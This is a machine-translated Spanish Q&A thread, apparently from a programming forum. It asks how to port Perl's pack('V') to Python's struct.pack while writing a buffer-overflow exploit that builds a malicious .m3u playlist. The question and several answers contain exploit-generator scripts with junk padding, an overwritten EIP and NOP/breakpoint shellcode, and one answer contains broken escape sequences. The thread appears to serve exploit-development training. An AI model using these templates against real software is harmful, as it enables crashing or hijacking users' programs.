2011-06-17 9 views
8

He estado trabajando en algún desarrollo de exploits recientemente para prepararme para un curso de capacitación, y he tenido un problema con un tutorial. He estado siguiendo junto con todos los tutoriales que puedo encontrar, usando Python en lugar del idioma que usaron los tutoriales, fuera de la preferencia. Estoy tratando de codificar todo, pero no puedo descifrar cómo se correlaciona la función de Perl's Pack().Perl's Pack ('V') función en Python?

TL; DR: estoy tratando de traducir esto a Python:

my $file= "test1.m3u"; 
my $junk= "A" x 26094; 
my $eip = pack('V',0x000ff730); 

my $shellcode = "\x90" x 25; 

$shellcode = $shellcode."\xcc"; 
$shellcode = $shellcode."\x90" x 25; 

open($FILE,">$file"); 
print $FILE $junk.$eip.$shellcode; 
close($FILE)print "m3u File Created successfully\n"; 

que he encontrado la función de Python struct.pack(), pero cuando se utiliza

Fuzzed.write(struct.pack('V', 0x773D10A4)) 

, detiene el programa y no funciona. ¿Qué estoy haciendo mal?

Ésta es toda mi código fuente

import struct 

Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w') 
Fuzzed.write('A' * 26072) 
string = str(struct.pack('V',0x773D10A4)) 
Fuzzed.write(string) 
Fuzzed.write('C' * 3000) 
+0

¿De dónde sacaste 'V' como personaje de formato? ¿Qué tipo se supone que representa? Use 'I' para' unsigned int' (4 bytes). –

Respuesta

11

Trate de usar la plantilla "L<" paquete en lugar de "V". Esto debería funcionar tanto en Perl como en Python. N y V son un método anterior de Perl para especificar endianness, y < y > son el método más nuevo. Parece que cuando Python tomó prestado pack de Perl, solo tomó la interfaz más nueva y más flexible.

Editar: Python quiere que el <antes el especificador de tipo, mientras que Perl quiere después. No es tan compatible :(

8

de Python struct.pack utiliza el primer carácter de la endianess/size variation, y luego una o más de Vmeans de 32 bits sin signo int/ascendente hacia la izquierda del data type. De Perl.

analógica

El Python es struct.pack('<I', 0x773D10A4).

+0

Gracias, eso funcionó perfectamente. – Schinza

1

Esto es exactamente lo que quiere. ¿y el curso de formación?

import struct

file = 'crash.m3u' junk = b'\x41' * 26091 eip = struct.pack('<I', 0x1d5f23a) preshellcode = b'\xcc' * 4 shellcode = b'\x90' * 25 + b'\xcc' fp = open(file, 'wb') fp.write(junk + eip + preshellcode + shellcode) fp.close() import binascii print binascii.hexlify(open(file, 'rb').read()) print 'm3u file is ready'
2

ya he traducido a python y ya lo he intentado para convertidor de MP3. Aquí está su respuesta:

import sys 
file = "8.m3u" 
junk = "A"*26042 
eip = "\X3A\XF2\XB5\X01" //0x01B5F23A 
shellcode =" " 
shellcode += "\x90"*25 
shellcode += "xcc" 
shellcode += "\x90"*25 
tmp = junk + eip + shellcode 
D = open(file, 'w') 
D.write(tmp) 
D.close() 
print "m3u File Created successfully\n"